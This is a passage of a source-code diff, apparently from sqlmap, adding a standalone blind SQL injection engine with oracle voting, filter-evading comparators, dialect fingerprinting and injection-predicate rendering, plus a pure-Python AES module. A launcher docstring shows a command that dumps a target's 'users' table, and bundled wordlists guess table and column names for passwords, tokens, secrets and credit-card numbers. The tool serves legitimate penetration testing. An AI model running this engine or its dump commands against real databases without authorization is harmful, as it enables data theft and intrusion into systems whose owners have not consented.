r = self._probe(condition)
|
||||
if self.verbose:
|
||||
print(" [%s] %s" % ("T" if r else ("E" if r is None else "f"), condition))
|
||||
if r is None:
|
||||
# while laddering CANDIDATE rungs an undecidable/erroring probe (oracle
|
||||
# returned None OR raised - both surface here as None) means "this rung is
|
||||
# unusable", so read it as False and let the ladder move on; only OUTSIDE
|
||||
# probing (reading committed data) is it fatal, so a flaky read never
|
||||
# silently coerces to a definite bit
|
||||
if self._probing:
|
||||
return False
|
||||
self._errors += 1
|
||||
raise OracleUndecided("oracle could not decide: %s" % condition)
|
||||
return r
|
||||
|
||||
samples = 2 * self.quorum - 1
|
||||
yes = no = tries = 0
|
||||
while (yes + no) < samples and tries < samples + self.quorum + 2:
|
||||
tries += 1
|
||||
r = self._probe(condition)
|
||||
if r is None:
|
||||
self._errors += 1
|
||||
continue
|
||||
yes, no = (yes + 1, no) if r else (yes, no + 1)
|
||||
if yes >= self.quorum or no >= self.quorum:
|
||||
break
|
||||
if self.verbose:
|
||||
state = "T" if yes >= self.quorum else ("f" if no >= self.quorum else "E")
|
||||
print(" [%s %d:%d] %s" % (state, yes, no, condition))
|
||||
if yes >= self.quorum:
|
||||
return True
|
||||
if no >= self.quorum:
|
||||
return False
|
||||
if self._probing: # candidate rung the vote couldn't settle -> unusable, not fatal
|
||||
return False
|
||||
raise OracleUndecided("oracle vote undecided: %s (%d true / %d false)" % (condition, yes, no))
|
||||
|
||||
def _sub(self, expr, pos, length):
|
||||
# pos is always passed 1-based; adjust for a 0-based dialect if discovered
|
||||
p = pos if self.dialect.substring.get("index_base", 1) == 1 else pos - 1
|
||||
return self.dialect.substring[1].format(expr=expr, pos=p, len=length)
|
||||
|
||||
def _len(self, expr):
|
||||
return self.dialect.length[1].format(expr=expr)
|
||||
|
||||
def _sanity(self):
|
||||
return self._ask("1=1") and not self._ask("1=2") and \
|
||||
self._ask("'a'='a'") and not self._ask("'a'='b'")
|
||||
|
||||
def _exists(self, source, column="1", alias=None):
|
||||
# does `source` (a table/catalog) - and optionally `column` in it - resolve?
|
||||
# WITHOUT COUNT (which a WAF may filter): a scalar subquery over it is NULL when
|
||||
# it resolves (WHERE 1=0 -> 0 rows) and ERRORS -> False when it doesn't. Works
|
||||
# for empty tables too. `column` is passed BARE so a nonexistent one errors,
|
||||
# rather than being taken as a string literal (SQLite quirk) and passing every
|
||||
# fake name. When `alias` is set the column is ALIAS-QUALIFIED (`e.col`) so a bare
|
||||
# candidate can't silently resolve to a KEYWORD/FUNCTION (USER, CURRENT_USER, ...)
|
||||
# or an unrelated in-scope name - an alias-qualified unknown is always an error.
|
||||
if alias:
|
||||
return self._ask("(SELECT %s.%s FROM %s %s WHERE 1=0) IS NULL" % (alias, column, source, alias))
|
||||
return self._ask("(SELECT %s FROM %s WHERE 1=0) IS NULL" % (column, source))
|
||||
@@ -0,0 +1,319 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
class OracleUndecided(RuntimeError):
|
||||
"""The oracle gave no reliable True/False after retries/voting - a transport or
|
||||
observation failure, NOT a definitive answer. Raised so blind extraction fails
|
||||
CLOSED instead of converging on plausible-but-wrong data from a manufactured
|
||||
False. (A wrong-dialect/unsupported probe must be reported as False by the
|
||||
oracle itself; exceptions are reserved for 'could not observe'.)"""
|
||||
|
||||
|
||||
class NumericOutOfRange(OverflowError):
|
||||
"""A bounded numeric read proved the value lies OUTSIDE [lo, hi] (above or below).
|
||||
Raised so a bounded search never invents an in-range boundary value (saturating to
|
||||
`hi`, or - for BETWEEN - converging to a wrong small value). Callers decide: length
|
||||
measurement converts it to (ceiling, truncated=True); integer extraction re-raises."""
|
||||
|
||||
|
||||
class Cap(object):
|
||||
"""A discovered primitive: (name, template) PLUS measured semantic properties.
|
||||
Indexable like the old (name, template) tuple so existing call sites keep working
|
||||
(`cap[0]`, `cap[1]`), with `cap.props` / `cap.get(key)` for the measured facts -
|
||||
e.g. length unit=characters|bytes, substring index_base, charcode semantics."""
|
||||
__slots__ = ("name", "template", "props")
|
||||
|
||||
def __init__(self, name, template, **props):
|
||||
self.name, self.template, self.props = name, template, props
|
||||
|
||||
def __getitem__(self, i):
|
||||
return (self.name, self.template)[i]
|
||||
|
||||
def get(self, key, default=None):
|
||||
return self.props.get(key, default)
|
||||
|
||||
def __repr__(self):
|
||||
extra = (" " + " ".join("%s=%s" % kv for kv in sorted(self.props.items()))) if self.props else ""
|
||||
return "%s(%s)" % (self.name, extra.strip() or self.template)
|
||||
|
||||
|
||||
class Integrity(object):
|
||||
"""How much the engine PROVED about a recovered value - separating 'the walk finished'
|
||||
from 'the bytes are exactly the source'. `complete` alone conflated the two; a value can
|
||||
be WHOLE (every position visited) yet not EXACT (case/accent ambiguous under a lossy
|
||||
collation). Anything used as executable SQL metadata or a paging boundary requires EXACT."""
|
||||
EXACT = "exact" # proven byte-identical to the source value (or a proven NULL)
|
||||
WHOLE_BUT_AMBIGUOUS = "ambiguous" # every position visited, but case/accent is uncertain
|
||||
TRUNCATED = "truncated" # a bounded prefix; the source continues
|
||||
UNRESOLVED = "unresolved" # a character could not be recovered (U+FFFD present)
|
||||
FAILED = "failed" # could not observe / verify (e.g. whole-value check failed)
|
||||
|
||||
|
||||
# warnings that leave a value WHOLE but not EXACT (case/accent uncertain) - distinct from the
|
||||
# "recovered via hex" soft note (that value IS exact) and from hard integrity warnings.
|
||||
_AMBIGUOUS_WARNINGS = ("case", "collation")
|
||||
_U_REPL = u"\uFFFD"
|
||||
|
||||
|
||||
class ExtractResult(object):
|
||||
"""Structured extraction outcome - keeps NULL, empty, truncated and failed
|
||||
distinct (str-like so `str(r)`/truthiness still read naturally)."""
|
||||
__slots__ = ("value", "is_null", "complete", "truncated", "queries", "warnings")
|
||||
|
||||
def __init__(self, value, is_null=False, complete=True, truncated=False, queries=0, warnings=None):
|
||||
self.value = value
|
||||
self.is_null = is_null
|
||||
self.complete = complete
|
||||
self.truncated = truncated
|
||||
self.queries = queries
|
||||
self.warnings = warnings or []
|
||||
|
||||
@property
|
||||
def integrity(self):
|
||||
# classify what was PROVED (see Integrity). Order matters: a HARD defect (truncated /
|
||||
# unresolved / incomplete) is classified BEFORE null-exactness, so an inconsistent
|
||||
# (value=None, is_null=True, complete=False) can never read as EXACT.
|
||||
if self.truncated:
|
||||
return Integrity.TRUNCATED
|
||||
if self.value is not None and _U_REPL in self.value:
|
||||
return Integrity.UNRESOLVED
|
||||
if not self.complete: # a hard warning / failed verify -> not exact
|
||||
return Integrity.FAILED
|
||||
if self.value is None:
|
||||
return Integrity.EXACT if self.is_null else Integrity.FAILED
|
||||
if any(a in w for w in self.warnings for a in _AMBIGUOUS_WARNINGS):
|
||||
return Integrity.WHOLE_BUT_AMBIGUOUS
|
||||
return Integrity.EXACT
|
||||
|
||||
@property
|
||||
def exact(self):
|
||||
# True ONLY when the recovered bytes are proven identical to the source. Required for
|
||||
# any value that becomes executable SQL (identifier, qualifier, exact literal).
|
||||
return self.integrity == Integrity.EXACT
|
||||
|
||||
def __str__(self):
|
||||
return "" if self.value is None else self.value
|
||||
|
||||
def __bool__(self):
|
||||
return bool(self.value)
|
||||
|
||||
__nonzero__ = __bool__ # py2
|
||||
|
||||
def __repr__(self):
|
||||
return ("ExtractResult(value=%r null=%s integrity=%s truncated=%s q=%d%s)"
|
||||
% (self.value, self.is_null, self.integrity, self.truncated, self.queries,
|
||||
" warnings=%r" % self.warnings if self.warnings else ""))
|
||||
|
||||
|
||||
class BulkResult(object):
|
||||
"""List-like bulk-enumeration outcome that also reports completeness against an
|
||||
independent COUNT (so a truncated dump is visible, not silently short)."""
|
||||
__slots__ = ("values", "expected", "complete")
|
||||
|
||||
def __init__(self, values, expected=None, complete=True):
|
||||
self.values = values
|
||||
self.expected = expected
|
||||
self.complete = complete
|
||||
|
||||
def __iter__(self):
|
||||
return iter(self.values)
|
||||
|
||||
def __len__(self):
|
||||
return len(self.values)
|
||||
|
||||
def __getitem__(self, i):
|
||||
return self.values[i]
|
||||
|
||||
def __repr__(self):
|
||||
return "%r%s" % (self.values, "" if self.complete else " (incomplete: %s of %s)" % (len(self.values), self.expected))
|
||||
|
||||
|
||||
class Dialect(object):
|
||||
"""Discovered target profile - the synthesized 'queries.xml row'."""
|
||||
|
||||
__slots__ = ("concat", "substring", "length", "bytelen", "textcast",
|
||||
"coalesce", "charcode", "charfrom", "hexfn", "binwrap", "charset",
|
||||
"bulkAgg", "dual", "identQuote", "prefix", "compare", "ordered",
|
||||
"identity", "catalog", "catalogEnum", "family", "product",
|
||||
"version", "evidence", "notes")
|
||||
|
||||
def __init__(self):
|
||||
self.identQuote = None # (open, close) identifier-quote chars, or None
|
||||
self.prefix = None # (op, multi, single) LIKE/GLOB fallback, or None
|
||||
self.concat = None # (name, template)
|
||||
self.substring = None
|
||||
self.length = None
|
||||
self.bytelen = None # (name, template) byte length (vs char length)
|
||||
self.textcast = None # (name, template) scalar -> text
|
||||
self.coalesce = None # (name, template) NULL guard
|
||||
self.charcode = None # None -> no code fn (direct-compare mode)
|
||||
self.charfrom = None
|
||||
self.hexfn = None # (name, template) for hex/byte extraction
|
||||
self.binwrap = None # (name, template) byte-ordered comparison wrapper
|
||||
self.charset = None # Python codec for the DB's DECLARED charset (authoritative hex decode)
|
||||
self.bulkAgg = None # (name, template) row-aggregation for bulk enum
|
||||
self.dual = None # (name, from-suffix) tableless-SELECT skeleton
|
||||
self.compare = None # 'code' | 'collation' | 'hex' | 'ordinal' | 'equality' | 'equality-ci'
|
||||
self.ordered = False # 'b' > 'a' holds (lexicographic bisection ok)
|
||||
self.identity = {}
|
||||
self.catalog = None
|
||||
self.catalogEnum = {} # {kind: (name_col, source, filter)}
|
||||
self.family = None # from the catalog probe
|
||||
self.product = None # best-guess product (the detective verdict)
|
||||
self.version = None # extracted banner string
|
||||
self.evidence = [] # [(signal, implication), ...]
|
||||
self.notes = []
|
||||
|
||||
def __repr__(self):
|
||||
pick = lambda x: x[0] if x else None
|
||||
return ("Dialect(concat=%r substring=%r length=%r compare=%r dual=%r "
|
||||
"catalog=%r product=%r)" % (
|
||||
pick(self.concat), pick(self.substring), pick(self.length),
|
||||
self.compare, pick(self.dual), self.catalog,
|
||||
self.product or self.family))
|
||||
|
||||
|
||||
class InferenceStrategy(object):
|
||||
"""An immutable, host-consumable rendering of a discovered dialect.
|
||||
|
||||
This is the crystallization esperanto is really for: the discovery half produces
|
||||
ONE frozen strategy, and a host inference engine (ideally sqlmap's existing
|
||||
bisection - which already owns threading, hashDB resume, prediction, and the
|
||||
known-answer reliability litmus) drives the loop by calling these PURE render_*
|
||||
methods. No oracle here, no retrieval loop - just SQL construction from the
|
||||
discovered primitives. Frozen after construction so worker threads can share it.
|
||||
|
||||
The reference host loop `hostExtract()` below drives extraction using ONLY a
|
||||
strategy + an oracle, with no dependency on Esperanto's own retrieval code.
|
||||
|
||||
SCOPE (honest): this is a PARTIAL hand-off, not yet a full sufficiency proof.
|
||||
`hostExtract()` drives the code/collation/ordinal/equality char modes under an
|
||||
ordered comparator (gt / BETWEEN / operator-free), with length-fn OR substring-
|
||||
derived length, tri-state and integrity-carrying. It does NOT yet drive pattern-only
|
||||
(LIKE floor) or membership-only extraction, and the frozen field set does not yet
|
||||
carry every discovered semantic (hex-encoding confidence, IN support, wildcard
|
||||
semantics, substring/length units, cast bounds). Those modes/semantics must be added
|
||||
- or the claim narrowed - before this can be called a complete interface; the
|
||||
long-term direction is predicate renderers driven by sqlmap's own inference engine.
|
||||
"""
|
||||
|
||||
_FIELDS = ("product", "family", "compare_mode", "catalog", "dual", "notes",
|
||||
"substring", "index_base", "length", "charcode", "charcode_sem",
|
||||
"hexfn", "binwrap", "charfrom", "concat", "identquote", "backslash",
|
||||
"comparator", "cmp_template", "exact_witness")
|
||||
|
||||
def __init__(self, **kw):
|
||||
for f in self._FIELDS:
|
||||
object.__setattr__(self, f, kw.get(f))
|
||||
object.__setattr__(self, "_frozen", True)
|
||||
|
||||
def __setattr__(self, *a): # immutable
|
||||
raise AttributeError("InferenceStrategy is frozen")
|
||||
|
||||
# -- pure SQL construction (no oracle) ----------------------------------
|
||||
def substr(self, expr, pos, length=1):
|
||||
p = pos if self.index_base == 1 else pos - 1
|
||||
return self.substring.format(expr=expr, pos=p, len=length)
|
||||
|
||||
def renderLength(self, expr):
|
||||
return self.length.format(expr=expr)
|
||||
|
||||
def renderIsNull(self, expr):
|
||||
return "(%s) IS NULL" % expr
|
||||
|
||||
def renderCharExists(self, expr, pos):
|
||||
# a character exists at 1-based pos: its 1-char substring is non-empty. Uses '='
|
||||
# only (no '>'/'<'), and reads False for a past-end substring whether the engine
|
||||
# returns '' or NULL there - so length can be derived when there is no length fn.
|
||||
return "NOT ((%s)='')" % self.substr(expr, pos)
|
||||
|
||||
def renderHex(self, expr):
|
||||
return self.hexfn.format(expr=expr) if self.hexfn else None
|
||||
|
||||
def renderCode(self, expr, pos):
|
||||
# scalar code point of the char at pos (None unless a code fn was found)
|
||||
return self.charcode.format(expr=self.substr(expr, pos)) if self.charcode else None
|
||||
|
||||
def renderGt(self, expr, n, high=None):
|
||||
# "expr > n" via the DISCOVERED comparator, so a host driving this strategy
|
||||
# survives a WAF that strips '>'/'<' exactly as esperanto's own loop does.
|
||||
# BETWEEN needs the current upper bound; operator-free rungs (sign/abs/...) don't.
|
||||
if self.comparator == "between" and high is not None:
|
||||
return "%s BETWEEN %d AND %d" % (expr, n + 1, high)
|
||||
if self.cmp_template:
|
||||
return self.cmp_template.format(expr=expr, n=n)
|
||||
return "%s>%d" % (expr, n)
|
||||
|
||||
def renderCharCmp(self, expr, pos, ch, op=">"):
|
||||
# boolean: char at pos <op> literal ch, byte-ordered when a binary wrapper
|
||||
# is available (else the target's own collation)
|
||||
one = self.substr(expr, pos)
|
||||
if self.binwrap:
|
||||
return "%s%s%s" % (self.binwrap.format(x=one), op, self.binwrap.format(x=self.lit(ch)))
|
||||
return "%s%s%s" % (one, op, self.lit(ch))
|
||||
|
||||
def renderExactEq(self, left, right):
|
||||
# whole-value byte-exact equality (hex > binary wrapper > plain)
|
||||
if self.hexfn:
|
||||
return "(%s)=(%s)" % (self.hexfn.format(expr=left), self.hexfn.format(expr=right))
|
||||
if self.binwrap:
|
||||
return "(%s)=(%s)" % (self.binwrap.format(x=left), self.binwrap.format(x=right))
|
||||
return "(%s)=(%s)" % (left, right)
|
||||
|
||||
def lit(self, value):
|
||||
s = value.replace("\\", "\\\\") if self.backslash else value
|
||||
return "'%s'" % s.replace("'", "''")
|
||||
|
||||
def buildLiteral(self, value):
|
||||
if value and self.charfrom and self.concat and all(0 < ord(c) < 128 for c in value):
|
||||
parts = [self.charfrom.format(code=ord(c)) for c in value]
|
||||
out = parts[0]
|
||||
for p in parts[1:]:
|
||||
out = self.concat.format(a=out, b=p)
|
||||
return out
|
||||
return self.lit(value)
|
||||
|
||||
def quoteIdent(self, name):
|
||||
if not self.identquote:
|
||||
return name
|
||||
o, c = self.identquote
|
||||
return "%s%s%s" % (o, name.replace(c, c * 2), c)
|
||||
|
||||
def asQueriesRow(self):
|
||||
"""The sqlmap queries.xml-shaped mapping - the concrete integration hook.
|
||||
These four templates are what sqlmap's inference/error/union machinery reads
|
||||
from queries[Backend.getIdentifiedDbms()]. The `inference` template renders the
|
||||
char-code comparison through the DISCOVERED comparator, so a strategy that survives
|
||||
a '>'-stripping WAF natively is NOT turned back into a blocked '>' here. Membership
|
||||
mode has no ordered `>%d` form, so `inference` is None (that mode needs the predicate
|
||||
interface, not this 4-field row)."""
|
||||
inference = None
|
||||
if self.charcode:
|
||||
code = self.charcode.format(expr=self.substr("%s", "%d"))
|
||||
if self.comparator == "membership":
|
||||
inference = None
|
||||
elif self.cmp_template: # operator-free rung (SIGN/ABS/...)
|
||||
inference = self.cmp_template.replace("{expr}", code).replace("{n}", "%d")
|
||||
elif self.comparator == "between":
|
||||
inference = "%s BETWEEN (%%d)+1 AND 9223372036854775807" % code
|
||||
else: # gt
|
||||
inference = "%s>%%d" % code
|
||||
return {
|
||||
"length": self.length,
|
||||
"substring": self.substring,
|
||||
"inference": inference,
|
||||
"case": "SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)" + self.dual,
|
||||
"hex": self.hexfn,
|
||||
}
|
||||
|
||||
def __repr__(self):
|
||||
return "InferenceStrategy(product=%r compare=%r catalog=%r)" % (
|
||||
self.product, self.compare_mode, self.catalog)
|
||||
|
||||
|
||||
class QueryBudgetExceeded(OracleUndecided):
|
||||
"""The configured hard oracle-call budget was exhausted mid-operation."""
|
||||
@@ -0,0 +1,31 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Standalone launcher for the DBMS-agnostic Esperanto engine. Run it straight from this
|
||||
directory - no sqlmap, no PYTHONPATH, no `-m` incantation:
|
||||
|
||||
python run.py -u 'http://host/vuln?id=1*' --string <true-marker> --tables --dump -T users
|
||||
python run.py --self-test
|
||||
python run.py --live # local DBMS dev harness
|
||||
|
||||
The package is fully self-contained (bundled wordlists, no sqlmap imports in the engine),
|
||||
so the whole directory can be copied elsewhere and still run. sqlmap uses the very same
|
||||
package via `from extra.esperanto import buildHandler`, handing the engine its own boolean
|
||||
oracle (checkBooleanExpression); this launcher is only for standalone use.
|
||||
"""
|
||||
|
||||
import importlib
|
||||
import os
|
||||
import sys
|
||||
|
||||
# make this package importable by its own (folder) name from any working directory, so
|
||||
# the relative imports inside resolve, then hand off to the CLI in __main__
|
||||
_HERE = os.path.dirname(os.path.abspath(__file__))
|
||||
sys.path.insert(0, os.path.dirname(_HERE))
|
||||
main = importlib.import_module("%s.__main__" % os.path.basename(_HERE)).main
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,77 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Common table/column names for the brute-force fallback used when the system catalog
|
||||
is unreadable or unknown (permission wall, exotic/Frankenstein engine, CTF). This is
|
||||
the "know nothing about the schema, guess the usual names" path - the equivalent of
|
||||
sqlmap's --common-tables / --common-columns. sqlmap's own (much larger) wordlists are
|
||||
preferred when this package runs inside the repo; the bundled curated lists below are
|
||||
the self-contained fallback so the standalone CLI works with no external files.
|
||||
"""
|
||||
|
||||
import os
|
||||
|
||||
|
||||
# curated, most-common first; kept deliberately small so brute-forcing stays practical
|
||||
# over a slow blind oracle (sqlmap's full lists are used instead when available)
|
||||
_BUNDLED_TABLES = (
|
||||
"users", "user", "admin", "administrator", "accounts", "account", "members",
|
||||
"member", "customers", "customer", "clients", "client", "people", "persons",
|
||||
"employees", "staff", "contacts", "profiles", "profile", "sessions", "session",
|
||||
"orders", "order", "products", "product", "items", "item", "categories",
|
||||
"category", "cart", "carts", "invoices", "payments", "transactions", "coupons",
|
||||
"rates", "reviews", "ratings", "inventory", "stock", "shipping", "posts", "post",
|
||||
"articles", "pages", "page", "comments", "messages", "message", "news", "blog",
|
||||
"blogs", "tags", "notifications", "subscriptions", "feedback", "files", "file",
|
||||
"uploads", "images", "documents", "media", "config", "configuration", "settings",
|
||||
"setting", "options", "preferences", "roles", "role", "permissions", "groups",
|
||||
"group", "tokens", "token", "secrets", "secret", "credentials", "passwords",
|
||||
"keys", "apikeys", "api_keys", "cards", "creditcards", "credit_cards", "logs",
|
||||
"log", "events", "event", "audit", "audit_log", "history", "activity", "data",
|
||||
"records", "metadata", "backup", "backups", "temp", "tmp", "test", "flags",
|
||||
)
|
||||
|
||||
|
||||
_BUNDLED_COLUMNS = (
|
||||
"id", "uid", "user_id", "userid", "guid", "name", "username", "uname", "user",
|
||||
"login", "handle", "nick", "nickname", "pass", "passwd", "password", "pwd",
|
||||
"pass_hash", "password_hash", "hash", "salt", "email", "mail", "e_mail",
|
||||
"first_name", "firstname", "fname", "last_name", "lastname", "lname", "fullname",
|
||||
"full_name", "surname", "display_name", "phone", "mobile", "tel", "address",
|
||||
"addr", "street", "city", "country", "state", "zip", "zipcode", "postcode",
|
||||
"dob", "birthdate", "age", "gender", "sex", "role", "roles", "is_admin", "admin",
|
||||
"level", "active", "is_active", "enabled", "disabled", "banned", "status",
|
||||
"verified", "created", "created_at", "created_on", "updated", "updated_at",
|
||||
"modified", "deleted", "deleted_at", "last_login", "timestamp", "date", "time",
|
||||
"token", "api_key", "apikey", "session", "secret", "key", "value", "data",
|
||||
"content", "body", "text", "title", "subject", "description", "comment", "note",
|
||||
"notes", "message", "url", "link", "ip", "ip_address", "useragent", "referer",
|
||||
"cc", "card", "creditcard", "credit_card", "card_number", "cvv", "cvc", "expiry",
|
||||
"amount", "price", "cost", "total", "balance", "quantity", "qty", "count", "code",
|
||||
"type", "category", "tag", "slug", "flag", "flags", "extra", "meta", "settings",
|
||||
)
|
||||
|
||||
|
||||
def _fromFile(fname):
|
||||
# sqlmap's own wordlist when this runs inside the repo (data/txt/<fname>).
|
||||
# located relative to this file: extra/esperanto/ -> ../../data/txt/
|
||||
path = os.path.join(os.path.dirname(__file__), "..", "..", "data", "txt", fname)
|
||||
try:
|
||||
with open(path) as fh:
|
||||
names = [line.strip() for line in fh if line.strip() and not line.startswith("#")]
|
||||
return names or None
|
||||
except (IOError, OSError):
|
||||
return None
|
||||
|
||||
|
||||
def commonTables():
|
||||
"""Candidate table names, most-common first. sqlmap's list if present, else bundled."""
|
||||
return _fromFile("common-tables.txt") or list(_BUNDLED_TABLES)
|
||||
|
||||
|
||||
def commonColumns():
|
||||
"""Candidate column names, most-common first. sqlmap's list if present, else bundled."""
|
||||
return _fromFile("common-columns.txt") or list(_BUNDLED_COLUMNS)
|
||||
@@ -0,0 +1,6 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
@@ -0,0 +1,174 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# Dependency-free AES (FIPS-197) block cipher with CBC mode, supporting 128- and 256-bit keys. It is
|
||||
# the primitive underneath Kerberos' AES-CTS-HMAC-SHA1-96 (RFC 3962) etypes, kept pure-Python so
|
||||
# '--auth-type=Negotiate' needs no third-party crypto library. Validated against the FIPS-197
|
||||
# known-answer vectors. Python 2.7 / 3.x.
|
||||
#
|
||||
# The state is a flat list of 16 ints in AES column-major order: byte i holds row (i % 4), column
|
||||
# (i // 4), i.e. column c occupies positions [4*c : 4*c + 4].
|
||||
|
||||
def _gmul(a, b):
|
||||
"""Multiplication in GF(2**8) with the AES reduction polynomial 0x11b."""
|
||||
|
||||
p = 0
|
||||
for _ in range(8):
|
||||
if b & 1:
|
||||
p ^= a
|
||||
high = a & 0x80
|
||||
a = (a << 1) & 0xff
|
||||
if high:
|
||||
a ^= 0x1b
|
||||
b >>= 1
|
||||
return p
|
||||
|
||||
# GF(2**8) log/exp tables (generator 0x03) -> multiplicative inverse -> S-box (affine transform),
|
||||
# computed rather than transcribed so there is no 256-entry table to get wrong
|
||||
_EXP = [0] * 256
|
||||
_LOG = [0] * 256
|
||||
_x = 1
|
||||
for _i in range(255):
|
||||
_EXP[_i] = _x
|
||||
_LOG[_x] = _i
|
||||
_x = _gmul(_x, 0x03)
|
||||
|
||||
def _inv(b):
|
||||
return 0 if b == 0 else _EXP[(255 - _LOG[b]) % 255]
|
||||
|
||||
def _rotl8(b, n):
|
||||
return ((b << n) | (b >> (8 - n))) & 0xff
|
||||
|
||||
SBOX = []
|
||||
for _b in range(256):
|
||||
_v = _inv(_b)
|
||||
SBOX.append(_v ^ _rotl8(_v, 1) ^ _rotl8(_v, 2) ^ _rotl8(_v, 3) ^ _rotl8(_v, 4) ^ 0x63)
|
||||
|
||||
INV_SBOX = [0] * 256
|
||||
for _b in range(256):
|
||||
INV_SBOX[SBOX[_b]] = _b
|
||||
|
||||
RCON = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d]
|
||||
|
||||
def _xor(a, b):
|
||||
if len(a) != len(b): # equal-length by construction; fail loud (not via assert, which -O strips)
|
||||
raise ValueError("XOR operands differ in length")
|
||||
return bytes(bytearray(x ^ y for x, y in zip(bytearray(a), bytearray(b))))
|
||||
|
||||
class AES(object):
|
||||
"""AES-128/256 block cipher (16-byte block) with a minimal CBC mode."""
|
||||
|
||||
def __init__(self, key):
|
||||
key = bytearray(key)
|
||||
if len(key) not in (16, 32):
|
||||
raise ValueError("AES key must be 16 or 32 bytes")
|
||||
self.rounds = 10 if len(key) == 16 else 14
|
||||
self._roundKeys = self._expand(key)
|
||||
|
||||
def _expand(self, key):
|
||||
nk = len(key) // 4
|
||||
words = [list(key[4 * i:4 * i + 4]) for i in range(nk)]
|
||||
for i in range(nk, 4 * (self.rounds + 1)):
|
||||
temp = list(words[i - 1])
|
||||
if i % nk == 0:
|
||||
temp = temp[1:] + temp[:1] # RotWord
|
||||
temp = [SBOX[b] for b in temp] # SubWord
|
||||
temp[0] ^= RCON[i // nk - 1]
|
||||
elif nk > 6 and i % nk == 4:
|
||||
temp = [SBOX[b] for b in temp]
|
||||
words.append([words[i - nk][j] ^ temp[j] for j in range(4)])
|
||||
|
||||
roundKeys = []
|
||||
for r in range(self.rounds + 1):
|
||||
rk = []
|
||||
for c in range(4):
|
||||
rk.extend(words[4 * r + c])
|
||||
roundKeys.append(rk)
|
||||
return roundKeys
|
||||
|
||||
@staticmethod
|
||||
def _addRoundKey(state, rk):
|
||||
for i in range(16):
|
||||
state[i] ^= rk[i]
|
||||
|
||||
@staticmethod
|
||||
def _shiftRows(s):
|
||||
out = [0] * 16
|
||||
for r in range(4):
|
||||
for c in range(4):
|
||||
out[r + 4 * c] = s[r + 4 * ((c + r) % 4)]
|
||||
return out
|
||||
|
||||
@staticmethod
|
||||
def _invShiftRows(s):
|
||||
out = [0] * 16
|
||||
for r in range(4):
|
||||
for c in range(4):
|
||||
out[r + 4 * c] = s[r + 4 * ((c - r) % 4)]
|
||||
return out
|
||||
|
||||
@staticmethod
|
||||
def _mixColumns(s):
|
||||
out = [0] * 16
|
||||
for c in range(4):
|
||||
col = s[4 * c:4 * c + 4]
|
||||
out[4 * c + 0] = _gmul(col[0], 2) ^ _gmul(col[1], 3) ^ col[2] ^ col[3]
|
||||
out[4 * c + 1] = col[0] ^ _gmul(col[1], 2) ^ _gmul(col[2], 3) ^ col[3]
|
||||
out[4 * c + 2] = col[0] ^ col[1] ^ _gmul(col[2], 2) ^ _gmul(col[3], 3)
|
||||
out[4 * c + 3] = _gmul(col[0], 3) ^ col[1] ^ col[2] ^ _gmul(col[3], 2)
|
||||
return out
|
||||
|
||||
@staticmethod
|
||||
def _invMixColumns(s):
|
||||
out = [0] * 16
|
||||
for c in range(4):
|
||||
col = s[4 * c:4 * c + 4]
|
||||
out[4 * c + 0] = _gmul(col[0], 14) ^ _gmul(col[1], 11) ^ _gmul(col[2], 13) ^ _gmul(col[3], 9)
|
||||
out[4 * c + 1] = _gmul(col[0], 9) ^ _gmul(col[1], 14) ^ _gmul(col[2], 11) ^ _gmul(col[3], 13)
|
||||
out[4 * c + 2] = _gmul(col[0], 13) ^ _gmul(col[1], 9) ^ _gmul(col[2], 14) ^ _gmul(col[3], 11)
|
||||
out[4 * c + 3] = _gmul(col[0], 11) ^ _gmul(col[1], 13) ^ _gmul(col[2], 9) ^ _gmul(col[3], 14)
|
||||
return out
|
||||
|
||||
def encryptBlock(self, block):
|
||||
state = list(bytearray(block))
|
||||
self._addRoundKey(state, self._roundKeys[0])
|
||||
for r in range(1, self.rounds):
|
||||
state = self._mixColumns(self._shiftRows([SBOX[b] for b in state]))
|
||||
self._addRoundKey(state, self._roundKeys[r])
|
||||
state = self._shiftRows([SBOX[b] for b in state])
|
||||
self._addRoundKey(state, self._roundKeys[self.rounds])
|
||||
return bytes(bytearray(state))
|
||||
|
||||
def decryptBlock(self, block):
|
||||
state = list(bytearray(block))
|
||||
self._addRoundKey(state, self._roundKeys[self.rounds])
|
||||
for r in range(self.rounds - 1, 0, -1):
|
||||
state = [INV_SBOX[b] for b in self._invShiftRows(state)]
|
||||
self._addRoundKey(state, self._roundKeys[r])
|
||||
state = self._invMixColumns(state)
|
||||
state = [INV_SBOX[b] for b in self._invShiftRows(state)]
|
||||
self._addRoundKey(state, self._roundKeys[0])
|
||||
return bytes(bytearray(state))
|
||||
|
||||
def cbcEncrypt(self, iv, data):
|
||||
if len(data) % 16 != 0:
|
||||
raise ValueError("CBC input is not block-aligned")
|
||||
prev, out = iv, []
|
||||
for i in range(0, len(data), 16):
|
||||
prev = self.encryptBlock(_xor(data[i:i + 16], prev))
|
||||
out.append(prev)
|
||||
return b"".join(out)
|
||||
|
||||
def cbcDecrypt(self, iv, data):
|
||||
if len(data) % 16 != 0:
|
||||
raise ValueError("CBC input is not block-aligned")
|
||||
prev, out = iv, []
|
||||
for i in range(0, len(data), 16):
|
||||
block = data[i:i + 16]
|
||||
out.append(_xor(self.decryptBlock(block), prev))
|
||||
prev = block
|
||||
return b"".join(out)
|
||||
@@ -0,0 +1,411 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
